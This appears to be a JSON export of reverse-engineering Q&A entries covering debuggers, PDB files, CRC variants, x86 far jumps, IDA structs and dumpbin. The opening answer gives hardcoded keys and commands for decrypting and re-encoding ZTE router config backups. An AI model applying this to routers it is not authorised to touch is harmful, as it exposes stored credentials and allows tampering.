        "Answer": "<blockquote>\n<p><strong>Download <em><a href=\"https://drive.google.com/drive/folders/1kqwmBbktWQ4LdWT-ihotIO_inzeDE6ns\" rel=\"noreferrer\">script and config file</a></em></strong></p>\n</blockquote>\n<ul>\n<li>Install zcu from <a href=\"https://github.com/mkst/zte-config-utility\" rel=\"noreferrer\">https://github.com/mkst/zte-config-utility</a></li>\n</ul>\n<pre><code>KEY = SERIAL + MAC: CF28772Bf438d406f608 from paramtag\nIV  = DefAESCBCIV:  ZTE%FN$GponNJ025     from /etc/hardcodefile/dataprotocol\n</code></pre>\n<p>Example command: .cmd.example.cmd</p>\n<pre><code>ECHO decode config.bin to config.xml\ndecode.py --key CF28772Bf438d406f608 config.bin config.xml\n\nECHO encode config.xml to config.out.bin\nencode.py --key CF28772Bf438d406f608 config.xml config.out.bin --include-header --signature F660\n\nECHO decode db_backup_cfg.xml to db_backup_cfg.xml.xml\ndecode.py --key CF28772Bf438d406f608 db_backup_cfg.xml db_backup_cfg.xml.xml\n\nECHO encode db_backup_cfg.xml.xml to db_backup_cfg.out.xml without signature and header\nencode.py --key CF28772Bf438d406f608 db_backup_cfg.xml.xml db_backup_cfg.out.xml\n</code></pre>\n<ul>\n<li>Decode <code>dataprotocol</code>: <a href=\"https://github.com/douniwan5788/zte_modem_tools\" rel=\"noreferrer\">https://github.com/douniwan5788/zte_modem_tools</a></li>\n</ul>\n<p>command: <code>zte_hardcode_dump.py hardcode dataprotocol</code></p>\n<p><code>/etc/hardcodefile/dataprotocol</code> after decrypt</p>\n<pre><code>DefAESCBCKey=f680v9.0\nDefAESCBCIV=ZTE%FN$GponNJ025\nAESENCRYKey=\nuserkey=608158c36497b00221db14afb845c9e3\n</code></pre>\n<ul>\n<li><code>paramtag</code></li>\n</ul>\n<pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000  54 41 47 48 30 32 30 31 00 00 00 00 02 9D 5E CB  TAGH0201......^\u00cb\n00000010  DC 03 00 00 00 90 40 00 40 00 56 39 2E 30 2E 31  \u00dc.....@.@.V9.0.1\n00000020  30 50 32 4E 32 42 00 00 00 00 00 00 00 00 00 00  0P2N2B..........\n00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 01 06 00  ................\n00000060  06 00 08 F6 06 D4 38 F4 01 01 06 00 06 00 08 F6  ...\u00f6.\u00d48\u00f4.......\u00f6        08 F6 06 D4 38 F4 is MAC -&gt; f438d406f608\n00000070  06 D4 38 F5 02 01 06 00 06 00 08 F6 06 D4 38 F6  .\u00d48\u00f5.......\u00f6.\u00d48\u00f6\n00000080  03 01 06 00 06 00 08 F6 06 D4 38 F7 04 01 06 00  .......\u00f6.\u00d48\u00f7....\n00000090  06 00 08 F6 06 D4 38 F8 05 01 06 00 06 00 08 F6  ...\u00f6.\u00d48\u00f8.......\u00f6\n000000A0  06 D4 38 F9 80 08 04 00 04 00 5A 54 45 47 00 00  .\u00d48\u00f9\u20ac.....ZTEG..\n000000B0  81 08 08 00 08 00 43 46 32 38 37 37 32 42 00 00  ......CF28772B..         CF28772B is SERIAL\n000000C0  00 03 06 00 06 00 30 38 46 36 30 36 00 02 24 00  ......08F606..$.\n000000D0  24 00 00 00 01 00 64 72 6D 2F 66 ED 6D 46 BF A2  $.....drm/f\u00edmF\u00bf\u00a2\n000000E0  AE FD 7D 81 E4 57 59 65 82 04 8A 78 74 6B 03 66  \u00ae\u00fd}.\u00e4WYe\u201a.\u0160xtk.f\n000000F0  0F 99 A0 27 E2 F3 00 00 01 06 04 00 04 00 75 73  .\u2122\u00a0'\u00e2\u00f3........us\n00000100  65 72 00 00 01 07 04 00 04 00 75 73 65 72 00 00  er........user..\n00000110  00 04 09 00 09 00 53 4C 54 5F 46 49 42 52 45 00  ......SLT_FIBRE.\n00000120  10 05 09 00 09 00 53 4C 54 5F 46 49 42 52 45 00  ......SLT_FIBRE.\n</code></pre>\n"
    },
    {
        "Id": "31861",
        "CreationDate": "2023-05-12T12:35:25.650",
        "Body": "<p>I need to debug a DLL, which I have a PDB file for.</p>\n<p>The debug target is a program, that loads the DLL using MemoryModule library from <a href=\"https://github.com/fancycode/MemoryModule\" rel=\"nofollow noreferrer\">Github</a>.</p>\n<p>The loaded module isn't listed as a module in x64dbg, since it has been loaded with <code>MemoryLoadLibraryEx</code> function, but module handle is still valid and it's all been successfully loaded and initialized.</p>\n<p>I've tried <code>symload</code> x64dbg command with address as the argument pointing to the beginning of the memory-loaded module <code>MZ...</code>, tried pointing to <code>PE...</code> signature as well, but no success.</p>\n<p>How do I tell x64dbg that memory at an address is a valid module, so that I could load a PDB for that module?</p>\n",
        "Title": "Load PDB for MemoryModule-loaded DLL in x64dbg",
        "Tags": "|dll|x64dbg|dynamic-linking|debugging-symbols|pdb|",
        "Answer": "<p>x64dbg has the <a href=\"https://help.x64dbg.com/en/latest/commands/analysis/virtualmod.html\" rel=\"nofollow noreferrer\">virtualmod</a> command, which (in theory) can be used to detect modules loaded from memory, rather than via <code>LoadLibrary*</code> APIs:</p>\n<blockquote>\n<p>virtualmod<br />\n<br />\nTell the debugger to treat a memory range as a virtual module.<br />\n<br />\nArguments: <br />\n<code>arg1</code> the user-supplied module name.<br />\n<code>arg2</code> the base of the memory range.<br />\n<code>[arg3]</code> the size of the memory range.</p>\n</blockquote>\n<p>However, this  command seems to be broken at the time of writing this answer. I've experimented a little bit and managed to make it functional, see this <a href=\"https://github.com/ynwarcs/x64dbg/commit/aa0a5cd82cdb1998af2f9f020fefd86db368f2b4\" rel=\"nofollow noreferrer\">commit</a> in a forked repository for reference. This will allow you to see the module in x64dbg, as well as its symbols, exports, imports etc. For a fully native experience, though, a fix is needed in MemoryModule as well - see this <a href=\"https://github.com/ynwarcs/MemoryModule/commit/10250ad4b7ee464579dfb13605427bad1626cbd9\" rel=\"nofollow noreferrer\">commit</a> in a forked repository for reference.</p>\n<p>To use it, execute the following in x64dbg:</p>\n<pre><code>virtualmod some_module_name.dll, 0xsome_base_address\n</code></pre>\n<p>If you don't mind building your own x64dbg and MemoryModule and applying these fixes, this should work out-of-the-box (no promises though). I've also opened <a href=\"https://github.com/x64dbg/x64dbg/issues/3094\" rel=\"nofollow noreferrer\">an issue</a> in x64dbg to discuss the state of <code>virtualmod</code> and whether it can be fixed in the main branch as well.</p>\n"
    },
    {
        "Id": "31868",
        "CreationDate": "2023-05-14T21:23:56.683",
        "Body": "<p>Finding the start of a function is sometimes obvious - for example if some part of the code has a <code>call foo</code> then <code>foo</code> must be a function.</p>\n<p>But what about finding the end of a function? I realize tools like Radare and Ghidra do this, but it seems like they must be using heuristics because some things that &quot;look like&quot; the end of a function aren't. For example (in pseudo-asm):</p>\n<pre><code>foo:\n  sub r1,r2\n  jge something\n  ret\nsomething:\n  add r1,r2\n  ret\n</code></pre>\n<p>I would say this is one function that happens to have two different exit points, but how would a RE tool figure this out?</p>\n",
        "Title": "How can you tell where an assembly function ends?",
        "Tags": "|assembly|static-analysis|",
        "Answer": "<p>There's no definitive way to tell what instructions correspond to a single function, i.e. what exactly represents a function when looking only at the set of instructions. Compilers are free to optimize the high level code in any way they like. For reference, you can see the <a href=\"https://stackoverflow.com/a/25880860\">answer</a> provided here.</p>\n<p>Luckily, compilers usually output predictable patterns, so Ghidra, Radare and other disassemblers first locate what they believe is a function by pattern matching and analysis of other functions, then analyze the control flow of the instructions to establish the control flow graph of the function and determine which branches the function has, where it &quot;ends&quot; etc.</p>\n<p>There is also some good information here:\n<a href=\"https://stackoverflow.com/questions/41622226/assembly-function-recognition\">https://stackoverflow.com/questions/41622226/assembly-function-recognition</a></p>\n"
    },
    {
        "Id": "31872",
        "CreationDate": "2023-05-15T13:21:20.287",
        "Body": "<p>Is <code>ImageBase</code> of a PE binary present in its PDB or can it only be retrieved from the binary?</p>\n<p>I have studied both <a href=\"https://github.com/microsoft/microsoft-pdb\" rel=\"nofollow noreferrer\">Microsoft's PDB sources</a> and <a href=\"https://llvm.org/docs/PDB/index.html\" rel=\"nofollow noreferrer\">LLVM docs</a> without much luck finding it.</p>\n<p>In the <a href=\"https://llvm.org/docs/PDB/DbiStream.html#optional-debug-header-stream\" rel=\"nofollow noreferrer\">DBI stream</a> there exist section headers with section RVAs, but I couldn't find any trace of their corresponding VAs or the base address itself.</p>\n",
        "Title": "PE ImageBase presence in PDB",
        "Tags": "|pe|address|pdb|",
        "Answer": "<p>I believe this information is not stored within the PDB files in any recent versions.</p>\n<p>Microsoft's <a href=\"https://learn.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/debug-interface-access-sdk?view=vs-2022\" rel=\"nofollow noreferrer\">DIA SDK</a> used for dumping information contained in PDB files does provide a method named <a href=\"https://learn.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/idiasymbol-get-virtualaddress?view=vs-2022\" rel=\"nofollow noreferrer\"><code>get_virtualAddress</code></a> (as opposed to <a href=\"https://learn.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/idiasymbol-get-relativevirtualaddress?view=vs-2022\" rel=\"nofollow noreferrer\"><code>get_relativeVirtualAddress</code></a>) which should, in theory, return the real virtual address of a static symbol (segment, section, frame data etc.), however both of these methods currently return the same value (RVA) in all test cases I've tried. The implementations of two methods <em>are</em> different though, suggesting that there could be some use cases where the VAs are in fact stored within the data.</p>\n<p>Keep in mind that the PDB format dates back to 90s, so if I had to guess I'd say that the actual VA's were contained within PDB files back before ASLR was introduced. This is, of course, only speculation on my part.</p>\n"
    },
    {
        "Id": "31886",
        "CreationDate": "2023-05-20T10:38:46.597",
        "Body": "<p>Sorry if this is a bit long; I figured it might be helpful to provide some information on why I'm trying to do what I'm doing. If not, just skip to the &quot;My Problem&quot; section.</p>\n<h1>Background</h1>\n<p>I'm writing some software to automate water billing at some apartment buildings. The water meters communicate using a proprietary protocol to a receiver, which sends the data to the computer via RS232 or serial-over-Bluetooth. The data are then <a href=\"https://i.stack.imgur.com/AL6Ao.png\" rel=\"nofollow noreferrer\">displayed in a .NET 4 application</a> provided by the hardware manufacturer, where they can be exported to CSV. I have all of the hardware, and using their own software, everything works as they intended (requiring manual export to CSV). I want to write my own application that can get the meter ID, current meter reading, and a few other things, to automate this process -- basically, I can just drive by the buildings with an Internet-connected laptop, and the system will grab all the meter data and can instantly generate bills for the correct customers.</p>\n<p>There was a 3rd-party private company doing this billing in the area, but they've since been bought by another company, and that new company refuses to add new accounts (even if the new customer is in the same building as an existing customer that they're already reading!) and has expressed interest in leaving the area entirely. There are also other issues, but they're beside the point.</p>\n<h1>Options</h1>\n<p>I figure the two most likely ways to make this happen are:</p>\n<ol>\n<li>Reverse-engineer the serial protocol, and have my own software read and interpret the data sent by the wireless reader</li>\n<li>Use a library that's bundled with their software, that appears to do all of the reading/interpreting already, in my application</li>\n</ol>\n<p>I've already made progress on Option 1, and <a href=\"https://i.stack.imgur.com/a1AH5.png\" rel=\"nofollow noreferrer\">identified the important parts</a> of the &quot;normal&quot; broadcasted packet, but I'd like to keep that as a &quot;Plan B,&quot; since it appears there is a library that can do all of this already, and they've already accounted for all the different kinds of packets that can be sent and received, and how to separate which data bytes are for which unit, especially when 25 units are broadcasting simultaneously with possibly different packet types with different structures and lengths.</p>\n<h1>Plan A - Using Their Library</h1>\n<p>Based on the objects contained in <code>d3g_tech_managed.dll</code>, it appears they have a nicely-packaged library that handles everything from opening the serial port, to receiving and decoding the broadcasted beacons, to raising events to which the main application subscribes and receives the already-decoded data.</p>\n<p><a href=\"https://i.stack.imgur.com/lb7yo.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lb7yo.png\" alt=\"Their managed library decodes the data\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/zAR3k.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zAR3k.png\" alt=\"Already-decoded data used in .NET 4 application\" /></a></p>\n<p>There's even a very helpful-sounding function in the library called &quot;ExtractValue&quot;, which is called by the main program's equally-helpful-sounding &quot;FillMeterReadData&quot; function.</p>\n<p><a href=\"https://i.stack.imgur.com/zMz2k.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zMz2k.png\" alt=\"Library also has a helpful-sounding &quot;ExtractValue&quot; function\" /></a></p>\n<p>I can add the DLL to a new C#.NET application in VS2022, and all of the objects, functions, etc. appear to be present.</p>\n<p><a href=\"https://i.stack.imgur.com/aauIq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aauIq.png\" alt=\"Add as reference to .NET application in VS2022\" /></a></p>\n<h1>My Problem</h1>\n<p>This is my first time trying to do any kind of reverse-engineering or using a 3rd-party DLL in my own program, so sorry if this is an obvious problem.</p>\n<p>Initially, when I tried running the program, I got a:</p>\n<pre><code>System.BadImageFormatException: 'Could not load file or assembly 'd3g_tech_managed, Version=1.0.6422.19726, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format.'\n</code></pre>\n<p>exception. Search results suggest that error is because I ran the application as 64-bit, but the DLL is 32-bit, which is true. Switched the application to x86, but then I get a <code>FileNotFoundException</code>:</p>\n<pre><code>System.IO.FileNotFoundException: 'Could not load file or assembly 'd3g_tech_managed.dll' or one of its dependencies. The specified module could not be found.'\n</code></pre>\n<p>How can it not find the file at all in 32-bit mode, when in 64-bit mode it had to have found the file for it to know it was the wrong format?</p>\n<p>The DLL file is in the application folder (source code and compiled <code>bin</code> folders).\n<a href=\"https://i.stack.imgur.com/tJRvj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tJRvj.png\" alt=\"The file is in the application folder\" /></a></p>\n<p>I found other suggestions about installing it into the GAC (Global Assembly Cache), but the command:</p>\n<pre><code>&quot;C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\v8.1A\\bin\\NETFX 4.5.1 Tools\\gacutil.exe&quot; -i d3g_tech_managed.dll\n</code></pre>\n<p>results in an error:</p>\n<pre><code>Failure adding assembly to the cache: Attempt to install an assembly without a strong name\n</code></pre>\n<p>The suggestions for that error seem to involve recompiling the DLL from source code, which I don't have. And, besides, since an existing .NET 4 application is able the use that DLL, it should be possible for me to write one that uses it in the same way, right?</p>\n<p>Some other possibly-useful information from dnSpy: clicking on the root for <code>d3g_tech_managed (1.0.6422.19726)</code> shows:</p>\n<pre><code>// C:\\Program Files (x86)\\Arad Technologies\\3GTechnicianNET\\d3g_tech_managed.dll\n// d3g_tech_managed, Version=1.0.6422.19726, Culture=neutral, PublicKeyToken=null\n\n// Native Entry point: 0x000098AD\n// Timestamp: 5980427D (2017-08-01 04:57:33)\n\nusing System;\nusing System.Reflection;\nusing System.Runtime.InteropServices;\nusing System.Runtime.Versioning;\nusing System.Security;\nusing System.Security.Permissions;\n\n[assembly: AssemblyVersion(&quot;1.0.6422.19726&quot;)]\n[assembly: SecurityRules(SecurityRuleSet.Level1)]\n[assembly: TargetFramework(&quot;.NETFramework,Version=v4.0&quot;, FrameworkDisplayName = &quot;.NET Framework 4&quot;)]\n[assembly: AssemblyProduct(&quot;d3g_tech_managed&quot;)]\n[assembly: CLSCompliant(true)]\n[assembly: AssemblyDescription(&quot;&quot;)]\n[assembly: AssemblyTrademark(&quot;&quot;)]\n[assembly: AssemblyCopyright(&quot;Copyright (c) Arad Technologies Ltd. 2007&quot;)]\n[assembly: AssemblyTitle(&quot;d3g_tech_managed&quot;)]\n[assembly: AssemblyCompany(&quot;Arad Technologies Ltd.&quot;)]\n[assembly: AssemblyConfiguration(&quot;&quot;)]\n[assembly: ComVisible(false)]\n[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]\n[assembly: SecurityPermission(SecurityAction.RequestMinimum, UnmanagedCode = true)]\n</code></pre>\n<p>And clicking on the item below that (<code>d3g_tech_managed.dll</code>) shows:</p>\n<pre><code>// C:\\Program Files (x86)\\Arad Technologies\\3GTechnicianNET\\d3g_tech_managed.dll\n// d3g_tech_managed.dll\n\n// Global type: &lt;Module&gt;\n// Native Entry point: 0x000098AD\n// Architecture: x86\n// This assembly contains unmanaged code.\n// Runtime: .NET Framework 4\n// Timestamp: 5980427D (2017-08-01 04:57:33)\n\nusing System;\n</code></pre>\n<p>I can't seem to find a solution for the above errors that would work when I don't have the source code to recompile the DLL.</p>\n<p>Any ideas?</p>\n<p>Thanks!</p>\n<p><em>RE: the <code>This assembly contains unmanaged code</code> line; did they name a DLL &quot;...managed...&quot; even though it isn't?</em></p>\n<p><em>The software that I'm writing is for internal use only, and will not be used by or distributed to anyone else (so there shouldn't be any issue with unlicensed distribution of copyrighted code).</em></p>\n<p>Meter Brochure:\nwww mastermeter com/wp-content/uploads/Interpreter-II-Register_v0710.20F.pdf</p>\n<p>Reader Brochure:\nwww mastermeter com/wp-content/uploads/Dialog_3G_DMMR_Transceiver_v0514.20.pdf</p>\n",
        "Title": "Use 3rd-party DLL in my own application",
        "Tags": "|dll|.net|c#|error|",
        "Answer": "<p>I guess I'll copy my comment as an answer, just to close out the question:</p>\n<p>I re-read the error message: <code>Could not load file or assembly 'd3g_tech_managed.dll' **or one of its dependencies**</code> and it listed the file name <code>d3g_tech_managed.dll</code>, which I figured meant it couldn't find that file. Ends up <code>d3g_tech_managed.dll</code> in turn depends on <code>base.dll</code> (whose name alone should have made me think), which I didn't copy. Once I did, my test program runs and correctly reports the library version on the form. So, completely my bad.</p>\n<p>Thanks @ynwarcs, your comment made me recheck the obvious!</p>\n"
    },
    {
        "Id": "31890",
        "CreationDate": "2023-05-21T12:01:39.250",
        "Body": "<p>The Linux source code has a routine for calculating CRC-16s. It's described as 'standard CRC-16', but doesn't have a formal name. It seems to be using a polynomial of 8005 but is otherwise undescribed.</p>\n<p><a href=\"https://github.com/torvalds/linux/blob/master/lib/crc16.c\" rel=\"nofollow noreferrer\">https://github.com/torvalds/linux/blob/master/lib/crc16.c</a></p>\n<pre><code>/** CRC table for the CRC-16. The poly is 0x8005 (x^16 + x^15 + x^2 + 1) */\nu16 const crc16_table[256] = {\n    0x0000, 0xC0C1, 0xC181, 0x0140, 0xC301, 0x03C0, 0x0280, 0xC241,\n    0xC601, 0x06C0, 0x0780, 0xC741, 0x0500, 0xC5C1, 0xC481, 0x0440,\n    0xCC01, 0x0CC0, 0x0D80, 0xCD41, 0x0F00, 0xCFC1, 0xCE81, 0x0E40,\n...etc...\nu16 crc16_byte(u16 crc, const u8 data)\n{\n    return (crc &gt;&gt; 8) ^ crc16_table[(crc ^ data) &amp; 0xff];\n}\n\nu16 crc16(u16 crc, u8 const *buffer, size_t len)\n{\n    while (len--)\n        crc = crc16_byte(crc, *buffer++);\n    return crc;\n}\n</code></pre>\n<p>I'm having trouble duplicating this with reveng, which doesn't have a setting for 'standard', and I can't tell whether I'm giving it the wrong data or whether I'm using the wrong CRC settings. Does anyone know precisely which CRC-16 variant this is?</p>\n",
        "Title": "What is 'standard' CRC-16?",
        "Tags": "|crc|",
        "Answer": "<p>This seems to be <a href=\"https://modbus.org/docs/PI_MBUS_300.pdf#page=120\" rel=\"nofollow noreferrer\">CRC-16/MODBUS</a>. Parameter specification can be found on this <a href=\"https://reveng.sourceforge.io/crc-catalogue/16.htm\" rel=\"nofollow noreferrer\">nice list of CRC16 specifications</a>:</p>\n<blockquote>\n<p>width=16 poly=0x8005 init=0xffff refin=true refout=true xorout=0x0000 check=0x4b37 residue=0x0000 name=&quot;CRC-16/MODBUS&quot;</p>\n</blockquote>\n"
    },
    {
        "Id": "31911",
        "CreationDate": "2023-05-27T14:32:09.290",
        "Body": "<p>Consider x86 16 bit mode instruction:</p>\n<pre><code>$ echo 66 EA 66 55 44 33 22 11 | xxd -p -r | ndisasm -b16 -\n00000000  66EA665544332211  jmp dword 0x1122:0x33445566\n</code></pre>\n<p>I thought 16 bit code jumps work by combining two 16 bit parts, while 32 bit code just uses 32 bit offset without segment part. What's the meaning of having both segment offset and 32 bit offset?</p>\n",
        "Title": "What is the meaning of 32 bit offset in x86 16 bit jump",
        "Tags": "|x86|",
        "Answer": "<p>It's a far/long jump, which sets loads the code segment descriptor using the selector specified.</p>\n<p>A <code>jmp</code> to a code segment selector which is the same as the existing <code>CS</code> value reloads the descriptor.</p>\n<p>See the Intel <a href=\"https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html\" rel=\"nofollow noreferrer\">Software Developer's Manual</a> Section 7.3.15.2 &quot;Far Control Transfer Instructions&quot; and the description of the JMP instruction:</p>\n<blockquote>\n<p>In protected mode, the JMP instruction also allows jumps to a call gate, a task gate, and a task-state segment.</p>\n</blockquote>\n<blockquote>\n<p>The JMP and CALL instructions (see Section 7.3.8, \u201cControl Transfer Instructions\u201d) both accept a far pointer as a destination to transfer program control to a segment other than the segment currently being pointed to by the CS register.</p>\n</blockquote>\n<blockquote>\n<p>Far Jumps in Protected Mode. When the processor is operating in protected mode, the JMP instruction can be used\nto perform the following three types of far jumps:</p>\n<p>\u2022 A far jump to a conforming or non-conforming code segment.</p>\n<p>\u2022 A far jump through a call gate.</p>\n<p>\u2022 A task switch.</p>\n</blockquote>\n"
    },
    {
        "Id": "31912",
        "CreationDate": "2023-05-27T20:34:12.007",
        "Body": "<p>How to identify and define a struct in IDA pro Decompiling during reverse engineering?\nPlease explain the easiest way to figure out the struct in IDA Pro decompilation!\n<strong>To make life easier are there any IDA Pro scripts to automate this task?</strong></p>\n",
        "Title": "How to reverse Engineer a Struct in IDA Pro?",
        "Tags": "|disassembly|binary-analysis|malware|dynamic-analysis|",
        "Answer": "<h2>How-to</h2>\n<p>To define a valuable structure you need to find its length and memory layout first. If you're researching a C++ binary, this is easiest done by finding the constructor(s) of the structure or its parent and then following all usage of the data across the binary.</p>\n<h2>Static analysis</h2>\n<p>To define a new structure type, open <code>Local Types</code> or <code>Structures</code> view and press <code>Insert</code> to add the structure definition.</p>\n<p>You can also create them from pseudocode view by right-clicking the desired variable name and choosing <code>Create new struct type</code> or apply an existing type with <code>Convert to struct *</code>.</p>\n<p>This could be automated using <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/ida_struct.html\" rel=\"nofollow noreferrer\">ida_struct</a> and/or <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/ida_typeinf.html\" rel=\"nofollow noreferrer\">ida_typeinf</a> modules.</p>\n<h2>Debugging</h2>\n<p>I don't think IDA has any utilities to help you identify or create structures at runtime, but there exist 3rd party tools such as <a href=\"https://github.com/ajkhoury/ReClassEx\" rel=\"nofollow noreferrer\">ReClassEx</a> designed to help with raw memory dump structuring if you need it.</p>\n"
    },
    {
        "Id": "31913",
        "CreationDate": "2023-05-28T00:23:49.883",
        "Body": "<p>atm I'm using ida and x32dbg, when I find a function that interests me, I set a breakpoint on x32dbg, however, I'm not good enough at assembly to know everything from a function just from looking at the registers and whatnot. When I think a function may be something, I hook it, but it's an annoying process.</p>\n<p>So is there an easier way to debug dll functions at runtime?</p>\n",
        "Title": "other than x32dbg, is there a more friendly way to check functions, their args and their return values on runtime?",
        "Tags": "|ida|assembly|dynamic-analysis|debug|",
        "Answer": "<p><a href=\"http://www.rohitab.com/apimonitor\" rel=\"nofollow noreferrer\">Api Monitor</a> is a great tool to hook api's, watch parameters and return values and optionally modify them before/after call.</p>\n<blockquote>\n<p>API Monitor is a free software that lets you monitor and control API calls made by applications and services. Its a powerful tool for seeing how applications and services work or for tracking down problems that you have in your own applications.</p>\n</blockquote>\n<p><a href=\"https://i.stack.imgur.com/Ms6Rq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ms6Rq.png\" alt=\"Main View\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/5RXX1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5RXX1.png\" alt=\"Summary View with Syntax Highlighting\" /></a></p>\n"
    },
    {
        "Id": "31917",
        "CreationDate": "2023-05-28T23:00:10.837",
        "Body": "<p>In LX format description in section\n3.13 Fixup Record Table, when describing <code>SRC = DB Source type field</code> there is such an option:</p>\n<p><code>06h = 16:32 Pointer fixup (48-bits).</code></p>\n<p><strong>1. How many bytes does this fixup change and how?</strong> I found a particular example of such fixup, it points to 2nd byte of a certain jump instruction:</p>\n<p><code>66EA665544332211  jmp dword 0x1122:0x33445566</code></p>\n<p>I assume it at least changes 4-byte offset (33445566), but does it also change 16 bit selector (1122)?</p>\n<p><strong>2. Where can I find more in-depth description of different fixup kinds?</strong> IBM doc seems to assume it to be common knowledge.</p>\n",
        "Title": "What is patched by LX 16:32 fixup record",
        "Tags": "|x86|",
        "Answer": "<p>For such fixup both selector and offset parts are patched so that they point to the actual location of the fixup's target.</p>\n"
    },
    {
        "Id": "31938",
        "CreationDate": "2023-06-04T17:45:16.967",
        "Body": "<p>Is there any way I can use <code>dumpbin</code> like <code>objdump</code>, where I can just look at the functions machine instructions that I implemented in my <code>Source.c</code> file, which I compiled to <code>source.exe</code>?\nIf I use <code>dumpbin \\DISASM</code> with the section <code>.text</code> it shows me a lot of machine instructions, but it's impossible to find the machine instructions I am looking for.</p>\n",
        "Title": "Dumpbin show function names",
        "Tags": "|disassembly|",
        "Answer": "<p>You could utilize debug symbols to search for the disassembled code of interest. Here's a TL;DR from <code>dumpbin</code>'s docs:</p>\n<ol>\n<li><code>dumpbin</code> <a href=\"https://learn.microsoft.com/en-us/cpp/build/reference/disasm?view=msvc-170#remarks\" rel=\"nofollow noreferrer\">always searches for embedded symbols</a> within the file:</li>\n</ol>\n<blockquote>\n<p>The /DISASM option displays disassembly of code sections in the file. It uses debug symbols if they are present in the file.</p>\n</blockquote>\n<ol start=\"2\">\n<li><code>dumpbin</code> tries to <a href=\"https://learn.microsoft.com/en-us/cpp/build/reference/nopdb?view=msvc-170#remarks\" rel=\"nofollow noreferrer\">load debug symbol information</a> for the disassembled binary (works with PDB, no information on support for DWARF and other formats):</li>\n</ol>\n<blockquote>\n<p>By default, DUMPBIN attempts to load PDB files for its target executables. DUMPBIN uses this information to match addresses to symbol names.</p>\n</blockquote>\n<p>If your <code>source.exe</code> was compiled with MSVC, simply put <code>.pdb</code> file in the same directory and use:</p>\n<pre><code>dumpbin /DISASM source.exe\n</code></pre>\n<p>The output will have symbol names applied - example disassembly fragment:</p>\n<pre><code>??$?6U?$char_traits@D@std@@@std@@YAAEAV?$basic_ostream@DU?$char_traits@D@std@@@0@AEAV10@PEBD@Z:\n  0000000140011870: 48 89 54 24 10     mov         qword ptr [rsp+10h],rdx\n  0000000140011875: 48 89 4C 24 08     mov         qword ptr [rsp+8],rcx\n  000000014001187A: 55                 push        rbp\n  000000014001187B: 57                 push        rdi\n  000000014001187C: 48 81 EC 28 02 00  sub         rsp,228h\n                    00\n  0000000140011883: 48 8D 6C 24 20     lea         rbp,[rsp+20h]\n  0000000140011888: 48 8D 7C 24 20     lea         rdi,[rsp+20h]\n  000000014001188D: B9 52 00 00 00     mov         ecx,52h\n  0000000140011892: B8 CC CC CC CC     mov         eax,0CCCCCCCCh\n  0000000140011897: F3 AB              rep stos    dword ptr [rdi]\n  0000000140011899: 48 8B 8C 24 48 02  mov         rcx,qword ptr [rsp+248h]\n                    00 00\n  00000001400118A1: 48 8B 05 58 B7 00  mov         rax,qword ptr [__security_cookie]\n                    00\n  00000001400118A8: 48 33 C5           xor         rax,rbp\n  00000001400118AB: 48 89 85 F8 01 00  mov         qword ptr [rbp+1F8h],rax\n                    00\n  00000001400118B2: 48 8D 0D AA 17 01  lea         rcx,[140023063h]\n                    00\n  00000001400118B9: E8 11 FB FF FF     call        @ILT+970(__CheckForDebuggerJustMyCode)\n  00000001400118BE: C7 45 04 00 00 00  mov         dword ptr [rbp+4],0\n                    00\n  00000001400118C5: 48 8B 8D 28 02 00  mov         rcx,qword ptr [rbp+228h]\n                    00\n  00000001400118CC: E8 79 F8 FF FF     call        @ILT+325(?length@?$_Narrow_char_traits@DH@std@@SA_KQEBD@Z)\n\n...\n</code></pre>\n<p>If you find decorated names confusing, you can use <a href=\"https://learn.microsoft.com/en-us/cpp/build/reference/decorated-names?view=msvc-170#Undecorated\" rel=\"nofollow noreferrer\"><code>undname</code></a> to decipher decorated/mangled symbol names into their signatures:</p>\n<pre><code>undname &lt;decorated name&gt;\n</code></pre>\n"
    },
    {
        "Id": "31953",
        "CreationDate": "2023-06-09T01:50:31.997",
        "Body": "<p>&quot;I am trying to create a simple IDC script for IDA 7.7, which takes a known memory address (in the format 0x00000000), a string of replacement bytes (either in the format ffffffff or ff ff ff ff, it doesn't matter; whatever is easiest), and a size of bytes to replace (which should match the replacement byte buffer).</p>\n<p>I was under the impression that it would be a simple for loop that starts at the given memory address and replaces each byte individually until it reaches the size of the 'buffer size' variable using the patchbyte function.</p>\n<p>Turns out, that didn't work. My next attempt was to get ChatGPT to do it because, why not? That was a little bit more fruitful, but instead of replacing the bytes I asked it to change to, it replaced the bytes with 00, and then the script wouldn't work after the first try.</p>\n<p>This is what I have from ChatGPT:</p>\n<pre><code>`static main()\n{\n    auto ea = 0x00400000;\n    auto buffer = &quot;ffffffff&quot;;\n    auto buffer_size = 4;\n\n    // Check if the specified memory address is valid\n    if (ea == BADADDR)\n    {\n        Message(&quot;Invalid memory address!&quot;);\n        return;\n    }\n\n    // Check if the buffer size is valid\n    if (buffer_size &lt;= 0)\n    {\n        Message(&quot;Invalid buffer size!&quot;);\n        return;\n    }\n\n    // Check if the buffer is valid hexadecimal format\n    auto len = strlen(buffer);\n    if (len % 2 != 0)\n    {\n        Message(&quot;Invalid buffer format!&quot;);\n        return;\n    }\n\n    auto i = 0;\n    for (i = 0; i &lt; buffer_size; i++)\n    {\n        